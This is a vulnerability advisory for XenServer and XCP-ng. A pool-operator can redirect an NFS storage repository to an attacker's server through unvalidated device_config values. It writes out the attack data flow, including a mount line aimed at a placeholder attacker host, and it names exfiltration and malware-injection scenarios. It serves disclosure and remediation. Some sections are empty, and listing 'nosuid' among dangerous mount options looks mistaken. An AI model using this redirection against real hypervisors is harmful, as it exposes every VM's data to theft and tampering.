MOKSHA-2026-0005: NFS Server Redirection via PBD.device_config

Advisory IDMOKSHA-2026-0005
Semantic IDPDC-2
Published2026-04-24
CVSS 3.19.1 Critical
CVSS 3.1 VectorAV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CVSS 4.08.7 High
CVSS 4.0 VectorAV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:L/SA:L
XAPI ObjectPBD
XAPI Fielddevice_config:server, device_config:serverpath
Entry Rolepool-operator
ResearcherJakob Wolffhechel, Moksha

Affected Products

VendorProductVersions
Citrix / Cloud Software GroupXenServer / Citrix Hypervisorall versions (shared XAPI codebase)
VatesXCP-ng8.3.0

Summary

A pool-operator can create an NFS SR with attacker-controlled server and serverpath values in PBD.device_config. The SM driver passes these values directly to mount.nfs without validation. The hypervisor mounts the attacker's NFS export as a storage repository, serving all VMs on that SR from attacker-controlled storage. This enables complete storage compromise: the attacker controls all VM disk images, can inject malware into any VM, and exfiltrate all data written to the SR. Via BOC-1 (MOKSHA-2026-0001), a vm-admin can escalate to pool-operator and exploit this finding.

Vulnerability Description

PBD.device_config carries the NFS connection parameters for NFS-backed SRs: server (NFS server IP or hostname), serverpath (export path), and options (mount options). These values flow from the XAPI database to mount.nfs subprocess calls without validation.

Data Flow

SR.create(device_config={server: ATTACKER_IP, serverpath: /evil})
  -> PBD stored with unchecked values
  -> PBD.plug() triggers NFSSR.load()
  -> nfs.soft_mount() reads server and serverpath
  -> mount.nfs ATTACKER_IP:/evil /var/run/sr-mount/<sr-uuid>
  -> Hypervisor serves all VMs on this SR from attacker-controlled NFS export

The NFSSR driver reads device_config via SRCommand.parse() and passes the server and serverpath values directly to nfs.soft_mount(). No IP address validation, no path sanitization, no allowlist check occurs.

Relationship to PDC-1

PDC-2 is the NFS counterpart to PDC-1 (iSCSI target redirection). Both exploit the same architectural gap: SM drivers trust device_config values without validation. The attack primitives differ (NFS mount vs. iSCSI login), but the root cause and impact class are identical.

Root Causes

  1. Zero validation on device_config values. server and serverpath are stored as arbitrary strings. No IP format check, no path traversal prevention, no allowlist against known NFS infrastructure.

  2. SM driver blind trust. NFSSR.load() reads device_config and passes values to nfs.soft_mount(), which executes mount.nfs with the attacker-controlled values as arguments.

  3. No post-creation verification. Once the PBD is created, XAPI does not verify that the NFS server and export path match the original SR creation parameters on subsequent mounts.

Affected Systems

Directly Affected

Storage Backends Affected

Indirectly Affected

Exploitation Scenarios

Scenario Impact Pre-conditions Status
Storage hijack All VMs on the SR serve from attacker-controlled NFS export Attacker runs NFS server on reachable network ALL PASS (live-tested)
Data exfiltration All VM writes go to attacker-controlled storage Same as above ALL PASS (follows from hijack)
Malware injection Attacker modifies VM disk images on the rogue NFS export; VMs boot with injected malware Attacker prepares poisoned VHD files Modeled (follows from hijack)
BOC-1 chain vm-admin escalates to pool-operator via BOC-1 S3, then exploits PDC-2 BOC-1 available Modeled (two-step chain)

Detection

Remediation

Short-Term Mitigations

Long-Term Fix

Connection parameter validation: NFSSR should validate server as a valid IP address or resolvable hostname on the storage network. serverpath should be validated as an absolute path without traversal sequences.

Immutable device_config: Enforce true immutability at the XenAPI layer. Once set during SR.create, device_config should not be modifiable.

Mount option allowlist: Only accept known-safe NFS mount options. Reject dangerous options such as sec=none, noac, and nosuid.

Upstream patches exist. They are held privately pending coordinated disclosure.

Disclosure

Disclosure:

References

Credits

Discovered and reported by Jakob Wolffhechel, Moksha.

Jakob Wolffhechel · Moksha · Copenhagen
jakob@wolffhechel.dk · +45 3170 7337
Published 2026-04-24 08:00 CEST · cna.moksha.dk · shittrix.moksha.dk